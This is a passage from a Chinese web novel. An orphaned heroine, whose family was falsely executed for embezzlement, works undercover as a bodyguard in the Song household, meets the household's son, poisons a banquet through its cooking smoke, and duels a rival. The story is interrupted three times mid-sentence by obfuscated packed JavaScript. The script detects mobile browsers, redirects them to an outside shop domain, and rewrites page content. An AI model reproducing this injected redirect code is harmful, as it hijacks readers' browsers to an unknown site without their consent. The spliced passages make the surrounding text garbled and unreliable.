《手刃仇人前我先当他保镖》 1. 阿曲 昭明二十五年秋，一年一度文试武举大比落下帷幕，金榜题名的喜报如春风传遍万邦。 秀止官府前的青石广场，专门横陈一座巨碑，碑面以鎏金阳文镌刻着本届的上榜名录。在这三百六十行皆以碑榜为凭的世道，能在这座碑上留痕，胜过钱权名利。 巨碑前人头攒动，苍仁曲默默看着上榜名录，听见路人议论纷纷。 “今年名次都在意料之中啊，光看姓氏都晓得他们来自哪家。万邦囊括九州四海，榜上尽让百家姓氏占光了。” “确实，大不如去年热闹，听说去年文武状元来自同一人，此人家世背景排在百姓之外，吊打所有王公贵族。” “都是些传闻罢了，去年提榜的名录压根儿没这号人！” “不是传闻呐！我姐去年入了武举终场，亲眼看见武举状元被王上下令缉拿，最后让萧氏拿了状元。” “啊，我记起来了，这事好像跟那桩暴敛的贪墨案有关，为首的苍家和许家都被满门抄斩了！” 苍仁曲心口一颤，思绪被拉回一年前的武举场上。 那日文试成绩一出，苍仁曲高中状元。此时武举终场正在比试，她便恳请王上许自己一场武举资格。 王上如她一愿，与考官们以看乐子的心态目睹她走进武场，与她较量的正是那年的武举状元萧择天。 苍仁曲仍然记得自己在场上的一招一式，记得自己震飞萧择天的兵刃，满场惊愕的目光；记得自己一剑横在他颈前他，他那怒火中烧的眼神；记得王上拍手称赞，考官宣布她夺得武举状元的声音；记得突然来了一名宫人，在王上耳边窃窃私语。 她尤其记得，王上听完之后怒火中烧，率领将兵将她重重包围，在众目睽睽之下将她压了下去…… “阿曲，人来了。我们走吧。” 苍仁曲的思绪被拉回现实。 一名身材魁梧的男子大步走在跟前，足足比她高出两个头。男人身着墨黑色劲装，结实的手臂用金线绣着醒目的"萧"字——正是萧武署的军卫标志。 “是，教头。”她点头道。 教头语继续重心长嘱咐道：“我知道你的实力，也明白你一直在等一个出头的机会，这次好不容易争取到了，还是萧大人亲自点名交给你的，你一定要好好表现。” 苍仁曲扯出一抹微笑，语气感激不尽：“多谢教头，我定不辱使命。” 这是苍仁曲蛰伏一年后的首次复出，她绝不能失败。 苍仁曲被监禁在萧武署已经一年有余，期间行动处处受制，此次任务于她而言是一个摆脱萧武署的不可多得的时机。 教头口中的“萧大人”，是她父亲生前至交，也是去年冒死将她从牢里救出的辅国将军萧良山。此次任务，萧良山亲自指派苍仁曲调查秀止宋家的私产，据说与她父母的死因密切相关。苍仁曲当时立即答应下来。 跟随教头的脚步，靠近官府大门，苍仁曲看见大门口处，一名姑娘亭亭玉立，正热情朝教头招手：“萧叔！这边！” “宋曦小姐。”教头朝姑娘恭敬抱了一拳，接着将苍仁曲举荐给这位姑娘，“这位是你的新保镖，是萧武署里同辈人功夫最好的打手，唤她阿曲便可。” 苍仁曲脸上始终挂着微笑，学着教头向宋曦抱了一拳：“见过宋曦小姐。” 宋曦诧异，上下打量眼前这位个头年龄与自己差不多的姑娘，与身旁的萧教头这样的大块头相比，简直像个绣花枕头。 “萧武署不会在敷衍我吧？萧叔，能不能找个像你一样的，至少看上去更有安全感。” 萧教头下意识后倾身子，干笑两声解释道：“小姐此言差矣。你父亲特地嘱咐要寻身手厉害且平易近人的女子。阿曲的身子骨虽逊于平常习武之人，但是武功了得，甚至与我不相上下。” 见宋曦面上犹豫不决，一直盯着苍仁曲看，萧教头继续说道：“若找了像我这样的人，出现在太子宴席，恐怕没人敢找小姐搭话了。” 此话如一剂定心丸，宋曦像突然明白父亲的良苦用心，对萧教头点头道：“好吧，既然萧叔都如此夸她，我肯定放心了。” 二人辞别萧教头后，宋曦吩咐贴身侍女去常逛的几家店铺为苍仁曲置办见面礼，自己则带着苍仁曲乘上马车，先行返回宋府。 马车内，香炉檀香袅袅，环境密不透风，加上车身颠簸，对于一个常年骑马乘风的人来说，苍仁曲一时不适应，不免头闷。 “我让小诗给你置办了几套时兴的衣裳和胭脂水粉。阿曲，到了府上，把你这身素净的行头换一换，以后跟着我，吃穿用度都要体体面面的。” 话如人言，宋曦确实身着体面，环佩叮咚、脂粉浓香。苍仁曲回忆起小诗的打扮，同样气质出众，尽管没有宋家小姐气派，单拎出来也以为是哪家的大户小姐。 然而苍仁曲从小家教严苛，习惯了清俭的日子，对身外之物格外敏感，下意识婉拒道：“多谢小姐好意。习武之人穿着简便，能更好地施展身手，保护小姐周全。” 宋曦淡淡反问道：“真正武功好的人，会单单因为服饰而束住手脚吗？” 看来没有商量的余地。 “不会。”苍仁曲从容回应道。 宋曦非常满意，夸赞道：“其实啊，阿曲长得眉清目秀，方才萧叔引见时，我险些看呆了神，简单收拾一下自己，都能与伊人巷的花魁平分秋色。” 苍仁曲有些不好意思：“小姐谬赞了。” 宋府位于秀止东南，是全城风水最好的方位，背靠如山，融江环抱，附近城街繁华，自宋德上任秀止府尹以来，当地从无生过大灾大难。 马车踏入宋家地界。宋府占地广阔，府墙隔于街市，一路延伸至人烟稀疏的柳巷，这一片柳林都是宋家私产。每逢柳树成荫的时节，宋德便开放此地，供游人踏青赏景。 苍仁曲登下马车，朱门敞开，她跟随宋曦踏入宋宅，视野豁然开朗。 天光如瀑，倾泻在一片阔大青石铺就的广场，广场两侧巍然肃立两列石像生。视线沿着庄重的石阵延伸，笔直的中轴线如同无形巨尺贯穿整个庭院，气势磅礴。 广场中央，矗立着两道身影。 一名青年身子挺拔，手中长剑舞得虎虎生风。剑锋所过之处，劲风扑面，拂过苍仁曲的发丝。身旁的武学师父已经向宋曦行礼，他仍然背对着她，浑然不知。 “阿谨，在练武呢。”宋曦抬高了声量。 青年动作一顿，立马甩下长剑，石板被划出“嘶啦”一声，他转身向宋曦行了个礼，冷冷扫了你一眼，飞速移开目光。 “阿姊。我在......” 宋曦突然打断他，向你热情介绍道：“这是家弟宋谨，去年武试和文试都拿了第十。” 苍仁曲正要行礼，却听宋曦突然对宋谨颐气指使。 “这是我新招的保镖阿曲，和她打个招呼。” “？” 在她一头雾水之际，宋谨已经行完了礼。 “阿曲姑娘。” “？！” 苍仁曲不敢托大，连忙弯腰与宋谨保持同一水平。 “见过宋公子。” 此情此景让宋曦大乐：“哈哈哈，你俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103020|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎还演起‘夫妻对拜’来了？阿曲不必紧张，他不会介意的。” 苍仁曲霎时脸红，仓惶起身之余，与宋谨对视一眼，却见他眼底闪过一丝戏谑的笑意，再转向宋曦之时，笑意全无，冷冷淡淡。 她颇为不爽，觉得自己被两姐弟戏耍了。 “阿姊这次怎么换了胃口，竟找了个女保镖？原先的保镖干活让你不满意吗？”宋谨调侃道。 宋曦嗤了一声，稍微收敛笑脸，语气有点冷：“还不是父亲的意思，说什么太子到访秀止，在宋府铺设宴席接风，有男子跟我在身边不合适，便让萧武署给我找了个女保镖。” “说的也是，还是父亲顾虑周全。” 宋曦突然笑眯眯转向你：“阿曲，我还没有见识过你的实力，去和阿谨过两招我看看怎么样？” 苍仁曲吓得后退半步，摆了摆手：“恕我惶恐，宋公子金尊玉贵，我下不了这个手。” 宋曦拉住她，毫不在意说道：“没关系，有我在，他不会介意的。” 宋谨左右看了二人一眼，突然开口道：“这样，阿曲不妨与我的武学师父过两招，也能间接证明自己的实力了。” 苍仁曲很无助，这位少爷居然也是个爱给人挖坑的主！ 宋曦更是火上浇油。 “阿曲，可别丢了我的面子。” “是。”苍仁曲败下阵来。 输了他，失了宋曦面子，赢了他，失了宋谨面子——无论怎么做，都无法讨好两个人。 苍仁曲考虑到自己目前是宋曦的人，还是一名新人，首秀当前，绝对不能让她失望。 宋谨的武学师父比苍仁曲高出一个头，面庞刻满风霜的痕迹，不怒自威。 二人抱拳行礼。 下一秒，武学师父突然出拳，打得苍仁曲措手不及。 她敏捷躲闪那一拳，未来得及还手，下一掌接踵而至。苍仁曲沉肘提腕，小臂格挡，手肘迅速撞击他的胸口。对方撤掌回防，顶住她的攻势，右脚不经意后退半步。 有破绽！ 她身子下压，横腿一扫，对方下盘竟然毫不设防，就这样轻而易举被绊了一跤，简直犯了习武之人最基本的错误。 武学师父立马乱了阵脚，苍仁曲来不及深想，腰马合一，奋力使了个过肩摔，将对方狠狠摔在地上，吓得宋曦惊呼一声。 苍仁曲惊魂未定，冲他抱了个拳。 “承让。” 宋曦对她刮目相看，拍手叫好：“阿曲好厉害！竟没想到你力气这么大！” 武学师父在苍仁曲的搀扶下起身，惭愧地向宋谨低下头：“实在对不起，公子。” 宋谨没有理会，而是对苍仁曲淡淡说道：“阿曲姑娘武力非凡，着实令人刮目相看。” “公子过奖。” “那当然，她毕竟是我的保镖。”宋曦高兴地挽住苍仁曲的手臂，与宋谨拉开距离，“阿曲，我们走。” 苍仁曲回眸看了二人一眼，欲言又止，没想明白宋谨的武学师父为何要给自己放水，却已经被宋曦拉走老远。 宋谨目送二人远走的背影逐渐出神，直至耳边传来他武学师父的疑惑：“谨公子，方才我的表演可还行？” 宋谨瞳孔微颤，下一秒恢复如常，颇为无奈：“于叔，你的破绽太明显了，在场也只有阿姊没看出来。” “不是你让我对她下手轻点吗？”于叔活动了一下被摔疼的筋骨，摆了摆手，“罢了罢了，回头你自个儿跟她解释去吧。” 宋谨的目光又一次投向苍仁曲离去的方向，唇角牵起难以察觉的弧度。 2. 宴席 夜晚，宋谨在书房整理着明日太子可能会过目的账本。 作为私生子的宋谨，去年他在文试武举崭露头角，赢得父亲宋德的正视，而宋德赏他的头一件事，便是将这桩脏活交到他手里。 账本详尽记录宋家近一年来是如何清洗太子在容、边二州的资产，其中包括将苍仁曲父母定为“贪墨”国库财产之罪的所谓罪证。 书页翻动间掠起微风，桌案烛火轻轻摇晃。 宋谨指尖逐一核对着数目，原都是他习以为常、日复一日的差事，今夜却只感觉枯燥乏味。 不知何种心理作祟，他的记忆时不时闪回去年的文试考场上，那道与他擦肩而过的身影，今日再度相见，依然清晰如昨。 夜深了，不知道她睡了没有。 此时此刻，苍仁曲站在宋府最高的屋檐上俯瞰，将整座府邸的格局尽收眼底。 宋府围墙高耸，四角设有更楼，中轴线上，三进院落由南至北依次展开，纵深三百余步，讲究“前堂后寝，左文右武”。 她记下这里所有一草一木，脑海里逐渐浮现一张清晰宋府的版图，直到夜深人静，房群灯火烬灭，凉风呼呼灌耳。 仅有一处，东跨院的书房还亮着灯，在寂夜里支起一盏明火。 苍仁曲疑惑，究竟谁大晚上的还不睡觉？ 她打了个哈欠，快速跃下屋檐，前去一探究竟，打算“拜访”完那位熬夜的人就回房睡觉。 书院寂寥，苍仁曲翻过院墙，远远看见亮光处，一名侍卫正独守书房门口，昏昏欲睡。 她穿梭于假山和树影之间，摸黑前进，脚底忽然搓到了什么东西，扯出一声脆响，惊动了门口侍卫。 “嗯？” 苍仁曲立即抬脚，拿起踩到的东西，快速躲进身旁的假山里。 书房忽然灭了灯，有人打开了门。 侍卫点灯，为那人照路：“谨公子。” “走吧。”宋谨却见侍卫面色迟疑，问道，“怎么了？” “啊，没什么。曲水亭那边有动静，估计是哪里来的夜猫子。”侍卫禀报道。 “夜猫子？”宋谨迟疑一瞬，心底涌起一丝兴奋，先侍卫一步走向曲水亭，“走去看看。” 侍卫急忙跟上：“公子小心，别踩到地上的书。” 灯火趋近，照亮宋谨半边脸庞，眉骨突出，投下的阴影割裂暖光，眸色晦暗难辨，徒增冷意。 借助微弱的灯光，苍仁曲看见自己方才踩中的东西——是一本书，同时地上也有很多摊开的书本，像有人走几步丢一本，显得散乱无序。 侍卫小心避开地面的书籍，不免吐槽道：“公子，你不想这些书放在书库积灰，交给我处理掉便好，没必扔在地上到处都是。” “我可没说要处理这些书，白天这里阳光好，让它们多晒晒太阳。”宋谨盯着地面的书本，左顾右看，“若没有这些书，你怎知有夜猫子进了书院？” 苍仁曲：“……” 宋谨行至假山旁边，离苍仁曲仅一壁之隔。 忽闻一声猫叫，他循声抬头望去，一只黑猫立于假山上，双眼圆睁，正静静注视着他。 下一刻，黑猫转身跳下假山，消失在他视线中。它正要往假山里面躲，惊觉里面居然还有一个人！吓得它立即撒腿跑开。 苍仁曲摒了口气，听见宋谨失望地叹了口气，声音穿透石壁，像在她的耳畔呼吸：“一无所获，我们走吧。” 灯火渐远，有惊无险。苍仁曲原想将书本归还原位，发现封皮沾上自己的鞋印，只好先带回自己屋子。 次日一早，小诗拉着苍仁曲起床梳妆打扮。 昨日在管家安排下，苍仁曲恰好与侍女小诗同住一屋。 按照宋曦要求，小诗给苍仁曲添置了许多新东西，也给自己买了新衣，都记在了宋曦账上，这点花销对于财大气粗的宋府来说不值一提。 苍仁曲换上一身新裁的竹青色长衫，将称得上暗器的头饰插入发间，简单打扮了一下自己，自我感觉符合宋曦眼中的"体面"标准。 作为保镖，她不必近身侍奉宋曦，只需确保她在自己视线所及之处安然无虞。 酉时开席，未时，宋府便已经门庭若市。 入府之前，萧教头已经给苍仁曲做过功课。此次接风宴不光有太子到场，交州有头有脸的人物也齐聚宋府，多是与宋德利益攸关之辈。 宋曦丝毫不怯场，游刃有余地与这些人物打交道。 苍仁曲目睹宋曦在宾客间从容的模样，恍惚间想起了兄长许义歌，每次出席场合时，他也是这样理所当然撑着场面。 但凡有兄长出面的场合，苍仁曲只用出面打个招呼便可以躲起来。那时候的她沉迷文学练武，对人情世故根本不感兴趣，而父母总喜欢把“人脉”、“关系”等字眼挂在嘴边，一味要求她出面混个眼熟，兄长一味地替她兜底，她一味地逃过数“劫”。 应邀赴宴的一些人里，苍仁曲只听父母提及他们的名号，从未过问这些人的底细渊源，那时候的她也不感兴趣。如今“白手起家”，除了一身力气和读了点书的脑子，便再无依凭。她努力将那些名字与面孔一一对应，却如盲人摸象，一时不知该从何处入手。 迷茫之际，苍仁曲忽然在宾客群看见一道熟悉的身影。与其说看见，不如说这道身影在人群之中实在瞩目——高约七尺，利落的马尾垂于身后，肩宽臂硕，自带威严的气场。 萧择天——昔日手下败将，如今的交州都督司马。 苍仁曲不清楚此人时隔一年对她还有没有印象，但目前人多眼杂，最好他先别对自己有印象。 好巧不巧，苍仁曲身旁的宾客突然唤了一声萧择天，引起了他的注意。 萧择天闻声，转过身来。 苍仁曲见状，立即背过身去，差点径直撞上某人。 “怎么了？”那人扶住苍仁曲的肩膀，微微倾身，声音落在她的额前，“阿曲。” 苍仁曲猛然抬头，是宋谨。 不知宋谨何时出现在她身后，站在她身后多久，而且方才那一声毫无征兆的“阿曲”，如一颗石子砸入心水，荡起微波。 听着萧择天的脚步越来越近，苍仁曲下意识往宋谨身侧挤了挤，说道：“谨公子，这里人有点多，我给他们腾出点位置。” 宋谨自觉侧身让你经过，正好挡住了萧择天的视野，在她身后说道：“我正好也在寻个人少的地，跟我来吧。” 苍仁曲也想，奈何身不由己。 “我不能离曦小姐太远。”她抱歉道。 “我知道，跟我来吧。”宋谨再度发话，这次不等你回应，他先行一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103021|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苍仁曲只好跟上宋谨，两个人站在相对人少的地方。 宋谨挑选的位置对她来说刚刚好，既不引人注目，又能照看宋曦，还能围观整个场面局势。 苍仁曲看到宋谨只向主动寻他的宾客简单打个招呼，除此之外，他像个局外人一样与她静静围观现场，置身事外。 “谨公子为何不与宾客多叙几句？”苍仁曲问道。 “有阿姐在，用不着我出面。”宋谨答道。 简直与苍仁曲当时应付父母的话术如出一辙。 她回忆起父母的唠叨，现在总算明白他们的良苦用心。 “多与人打交道是极好的。既能磨炼心性，日后也能像曦小姐那般独当一面。” 宋谨沉默半刻，说道：“那样的话，阿姊会不高兴的。” 他的回答出乎苍仁曲的意料。 “嗯？为什么？” “她不喜欢爱出风头的人。”宋谨回答道。 苍仁曲：“……” 她虽刚入宋府一天，却足以见得宋曦在府上的地位举足轻重。宋曦性子主动，凡她所想，诸事皆能绕她而行。这般众星捧月的人物，竟然在意宋谨抢了她的风头？ 苍仁曲不禁好奇，这位谨公子，身上究竟有什么秘密？ “谨公子，太子到了。”宋谨身旁的侍卫提醒道。 很快，宋谨掠过她涌入人群，找到了宋曦，一同随在宋德身后去恭迎太子。 大堂外，两侧军卫开路，隔绝所有人数米有余。四名侍女左右拥护一名身着玄色华服的男子前行，华盖随行其后。 那名男子便是当今太子顾岁吟。 苍仁曲记得，她在准备文试期间，父母终日将顾岁吟挂在嘴边，他的名号都快磨出苍仁曲的耳茧了。 不过，他们并非要为女儿立榜样，相反，顾岁吟从未参加过文试武举，王上让他直接参管边容二州的军政——正好是她父母各自的辖地。 自建朝以来，万邦子民邦无论何种出身，都必须经过文试武举才能入朝为官，王上此举显然背离初衷。她父母连番上奏，却只换得王上故作糊涂。 她父母眼里的顾岁吟对民生百态可以说一无所知，小至庄稼农作、市井商贸之细节，大至关乎百姓温饱的漕运粮价、边疆屯田之策。他徒务虚名，专攻权术制衡，为博君心，习惯在政绩奏报粉饰太平。 苍仁曲忽然意识到了什么。 苍许两家唯一的关联，只有父母姻亲，而顾岁吟曾与她的父母共事——她的父亲来自许家，她的母亲来自苍家。 不敢笃定顾岁吟在这场变故扮演了什么角色，说不定他了解其中内幕。 顾岁吟着享受众星捧月般的待遇，成为宴堂的座上宾。 宋德特意将宋曦安置在自己身侧，父女二人独占离主宾最近的尊位，位于一人之下，凌驾于满堂宾客之上。 宋谨的座次稍逊一筹，被安排在宋德对面。这个位置虽不显赫，恰能将苍仁曲的身影尽收眼底。 宋德设宴本为将宋曦引荐给顾岁吟，与宋谨毫不相干。 宋谨悠然自斟一杯茶，本能看了一眼苍仁曲，她的笑容依旧温和，只听宋德对顾岁吟奉承道：“去年殿下揭发容州刺史与边州都护勾结贪墨国库一案，年纪轻轻便有如此魄力，当真后生可畏啊。 3. 作恶 宋谨顿了一下，将茶水一饮而尽，茶杯脱离视野，对面的苍仁曲完全换了一副面孔——冷若冰霜，眼眸阴晦，死死盯着主座的顾岁吟。 顾岁吟举起一杯酒，朝宋德谦虚敬道：“此事能成，多亏宋府尹相助，容某借这杯酒，谢过府尹成全。” 宋德与宋曦双双举起酒杯回敬。宋德表现惶恐：“诶哟，殿下，这我可万万担待不起。” 双方一饮而尽。 顾岁吟放下酒杯，侍从即刻躬身斟满。他撑着头饶有兴味地打量宋曦，对宋德说道：“苍许二家皆已伏诛，其所贪巨款，至今仍有五成未归国库。这一年里，陛下时时惦念着这笔账。” 宋谨盯着苍仁曲的一举一动，看见她不动声色取下一枚发簪，攥紧在手里。 以她的实力，这个距离足以瞬间取走顾岁吟的性命。 “阿谨。” 宋德忽然唤了宋谨一声，逼他视线不得不从苍仁曲身上移开。 “你如何看？”宋德问道。 情急之下，宋谨想到了一个办法。 他向顾岁吟禀明道：“殿下，尚未入库的银两原为边州军饷，现多数拨交州军使用。因岛州近年屡犯交州沿岸，交州虽向朝廷请饷却久无回音，只得暂借此款，以应军需。” 这个回答全在顾岁吟意料之中，他的指尖轻轻叩打桌面：“嗯，父王委任我挂职交州都督一职。依他的意思，筹备军资不需如此大动干戈——他怕这所谓“军费”，早已落入某人私囊。” 宋曦插道：“正好，交州都督司马也在场，可以请他来向殿下说明情况。” 萧择天正在外堂应酬，顾岁吟的侍卫将他请了进来。如宋谨所料，苍仁曲看见萧择天过来，暂且回避了。 宋谨暗自松了口气。 这时，宋德派人过来，在宋谨耳边说道：“公子，吩咐请您即刻前往书房，将账目明细整理妥当，呈交殿下过目。” 一句话的功夫，宋谨发现苍仁曲已经消失在人群中，不见踪影。 “我知道了。”宋谨立即起身，快步离开席间。 宋谨的贴身侍从紧随其后，见自家公子迈出大堂，竟朝书房相反的方向走。他快步上前提醒道：“公子，你去哪里？书房不在那边。” 宋谨冷脸，没有理会他。 侍从不敢多嘴，乖乖跟在宋谨身后。 宋谨一路上左顾右盼，似在寻找什么东西，却始终未唤侍从相助。侍从几番欲言又止，静观其举。 宋谨顿住脚步，嗅了嗅鼻子：“这个气味…腹罗烟。” 他循着气味源头，朝后厨方向走去。 “公子！后厨有黑烟，似乎起火......诶！公子别冲动！”侍从话没说完，看着宋谨一股脑冲进后厨，拦都拦不住。 宋谨跑得急，迎面撞上一位正端着木盆走出厨房的妇人，他眼疾手快，堪堪接住险些坠地的木盆。 那名妇人惊奇呼道：“小谨啊！你怎跑这儿来了！” 妇人挡在门口，宋谨看不清里面的情形：“成姨，里面发生什么事了？” 成姨摆了摆手，干笑两声：“刚才柴火烧得旺，差点把菜烧毁了！没事！已经灭了！” 此话一出，宋谨眉头紧皱。 “我进去看看。” 成姨被撞一个踉跄，险些磕在门角上：“哎呦！我开玩笑的！你放心吧！菜都没事！不耽误上席！” 厨房烟雾缭绕，辣眼呛人。 厨房佣人刚灭完火，手忙脚乱之余，听见有人唤了一声“谨公子”，纷纷停下手上的活计，向宋谨行礼问好。 侍从捂住口鼻，被熏得睁不开眼：“咳咳，公子，我们快些离开吧。” 宋谨不停咳嗽，目光扫过灶台上完好如初的佳肴，随即走向柴堆，信手拈起一根木柴。木柴表面还沾着细碎的草泥，他轻捻片刻——果然是腹罗草。 腹罗草——宋府随处可见的一种赏景植物，源自边州，极易生长。 腹罗草油脂丰富，燃烧时产生的烟雾略带苦味，一旦人吃下被腹罗烟熏过的食物，会在体内化作剧毒，轻则三天内全身酸疼，若食物受烟过久，重则毒侵骨髓，导致脏腑溃烂，痛不欲生。 “成姨。”宋谨放下木柴，搓掉指尖的草泥，状似随意问了一句，“阿姐的人有没有来过这里？” 宋曦的手下各个扮相精致，与寻常侍从相比，很难不令人印象深刻。 成姨一下就想起来了，积极回应道：“诶！有的有的！方才确实有位瞧着眼生的姑娘进来，说是曦小姐想吃水果。后厨油烟甚重，我怕脏了她的衣裳，便让她在门口候着，替她挑了一些曦小姐爱吃的水果。” 宋谨心想，果然是她。 “上菜了上菜了！都杵在这里干什么！”一声吼叫由远及近，管事满脸怒容踏入厨房。 管事正欲对佣人发作，瞥见宋谨在场，顿时收敛神色。 “谨公子，您不在宴席，跑到后厨来做什么？” 谈话间，佣人们前后穿梭，将菜肴陆续端了出去。宋谨视线跟随着佣人们的动作，没有加以阻止。 成姨夹在两人中间解释道：“方才后厨险些走了水，谨公子担心耽误宴席，特地来查看一番。” 未等管事作出回应，宋谨果断结束话题：“打扰了，你们接着忙吧。” 说完，他面无表情离开厨房。 他默然注视佣人们端着一盘盘被腹罗烟熏染的菜肴走向宴席，自己转身走向书房。 “阿奇，稍后你代我将账目呈给父亲，并告知他厨房走水之事。我在里头吸多了烟气，身子不适，需要回房休息。”宋谨对侍从嘱咐道。 “是，公子。” 宋谨原以为苍仁曲会下死手，但从腹罗草的用量来看，倒只像是略施惩戒。 灭门仇人近在眼前，苍仁曲竟仍存有一分克制，令宋谨生出一丝惺惺相惜的微妙情绪。 反倒可惜了这杀人于无形的利器，腹罗草本是宋谨亲自从边州引进宋府，平日上心得很，毕竟，他确确实实用它杀过人。 距开席不足一刻钟。 菜肴陆续呈桌，许多宾客已经入座。 苍仁曲躲在屏风后面，吃着手里的果子，当作今晚的伙食。 她双眼通红，憋住欲哭的眼泪，牙齿重重咀嚼着果肉，想要把顾岁吟与整个宋家一并嚼碎，如同将那腹罗草反复磨成草泥时那般狠厉。 复仇的心绪悬崖勒马，尚存的理智拽回了苍仁曲。 这份理智是她沉淀了一年光阴，期间一直承受着世人对父母的声讨唾骂所磨炼而出，只有她自己知道，父母一世清明，公私分明，是眼里容不下半分污浊的清官，绝不可能干出贪墨国库的勾当。 陷害她父母的人尚且死不足惜，她真正所求，不过是还双亲一个清白，为他们正名。 吃完手中的果子，苍仁曲将最后一口悲愤吞咽下去，随即绽开笑容，从容地走出屏风。 席间人影往来，苍仁曲往宋曦在座的方向走去，忽而手臂一紧，身后有人拽住了她，高大的阴影趋近，完全笼罩她在地面的影子。 “苍仁曲。” 苍仁曲心头一紧，已经准备好懵逼的表情，在转头看清那人的一瞬间，装不出来了。 是萧择天。 萧择天看清苍仁曲面目的一瞬间，瞳孔骤缩，相视片刻，他二话不说，在大庭广众之下将她连拖带拽出去。 “喂？” 苍仁曲这下真懵逼了，任由萧择天众目睽睽之下拉着自己。直至行出一段距离，萧择天的侍卫方才反应过来，追了出去。 日照西头，萧择天带苍仁曲来到一处无人的院落。 见萧择天终于停下，侍卫上前悄言：“大人，已经开宴了。” “在这里守着，不许任何人靠近。”萧择天命令道。 侍卫犹豫了一下，善言提醒：“萧哥，这里是宋府……不太好吧？” “宋府来人也叫他们走开。”萧择天完全不当回事。 侍卫：“……” 萧择天继续拉着苍仁曲往深处走去。直至侍卫的身影彻底消失在视线之外，苍仁曲手臂生疼，忍无可忍，愤然甩开他的手。 “萧大人，你我此前不过一面之缘，这样做不太合适吧？” “你竟然还活着。”萧择天感到不可思议。 苍仁曲揉了揉手臂，努力挤出一丝微笑：“命大，侥幸逃过一劫。” “谁救的你？” “少打听。” “到宋府做什么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103022|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当保镖。” “信不信我把你抓起来丢给太子？”萧择天忍无可忍道。 “那得看你有没有这个本事了。”苍仁曲接着拱火。 萧择天被成功激怒，伸手要抓苍仁曲。 苍仁曲左手一把擒住手腕，右手直取他咽喉。萧择天佯装后退，被擒住的手臂骤然发力，挣脱束缚，反手便向她肩头探去。 他的动作全在苍仁曲意料之中。 苍仁曲弯身一绕，竟从他臂下轻巧绕出，迈着飘忽莫测的步法，倏忽转至他的身后，触及肩膀。 “你就只会这一种功夫吗？武状元。”苍仁曲看穿他萧武署的套路，嘲讽道。 萧择天下意识往肩膀一抓，空空如也。左脚向后一蹬，被苍仁曲抬脚打断，她已如影般绕回身前。 他这下才反应过来，那是萧武署的步法——无痕踪！ 萧择天立马抓住苍仁曲一边袖袍：“你怎么会萧武署的招式？” “侥幸进去练过。”苍仁曲眼看挣脱不开，朝他面目一拳打过去。 萧择天灵活一闪，依旧拽着她的袖袍不放：“……练多久了？” “一年。”苍仁曲愣住，两只手感觉不对劲，低头一瞅，她的袖袍被萧择天打了个死结！ 萧择天揪住打了死结的袖袍，将她强硬拽到身前。 苍仁曲怒了，扎住步伐，身子后拉，紧接着收臂脱袖，再躬身一退，将外衣顺势褪下，再度让萧择天扑了个空。 趁他怔愣的间隙，苍仁曲一把扯回外衣，旋圈绕腕，将他双手紧紧缚住，随即一个耳光扇了过去。 侍卫听见里头传来“啪！”一声脆响，不禁对苍仁曲生出怜惜之心。 萧择天脖颈被她臂弯死死箍住，双手也一时挣脱不开，无能狂怒道：“不讲武德！打人不打脸你知不知道！” 苍仁曲随手卸下他的佩刀，用刀戳了戳后腰，低语道：“你输喽。” 萧择天不耐烦道：“知道了知道了！我输了，赶紧放开我。” 苍仁曲果断放开他，将他的刀攥在手里，接着为他解开手上的衣绳。 “萧大人，我有一个问题。” 萧择天揉了揉隐隐作麻的脸庞，沉了口气：“讲。” “你既出身萧武署，为何你能参加武举？” “我没入萧武署。”萧择天给了她一个提示，“你猜猜萧武署为何姓‘萧’？” 苍仁曲略一思索：萧武署乃萧良山所创，武学皆出自萧家，莫非……她恍然大悟：“你是萧良山之子？” 头一次见有人敢直呼他父亲大名，虽然萧择天也是其中之一，他点头承认道：“没错，但你怎知我父亲名讳？” 苍仁曲面露感激，乐道：“你父亲可是我的救命恩人！去年救我出狱，点头让我进了萧武署，还安排我到宋府给曦小姐当保镖。” “什么？？？”萧择天差点破声，脚底发软，踉跄了一下，“活爹，我竟不知他瞒着我犯下了杀头大罪。” 苍仁曲面色柔和，拍了拍他的肩膀：“你放心好了，我不会暴露自己身份的。” 萧择天岂会轻信？且不说父亲为何瞒他救下苍仁曲，一名来自萧武署的朝廷要犯潜伏于宋府，风险实在太大。 他初入仕途，前程断不能葬送在苍仁曲手中，思及此，他厉声问道：“萧良山究竟让你来宋府做什么？” “查清宋府私产。”苍仁曲如实相告。 萧择天：“……” “怎么了？” “就你一个人？” “没错。” “……” “又怎么了？” “在我弄清楚之前，你不准擅自行动，胆敢暴露自己身份，后果自负。”萧择天威胁了一句便转身离开，“时候不早，我回宴席了。” “萧大人，您的刀。”苍仁曲将佩刀抛入他手中，语气从容，“慢走。” 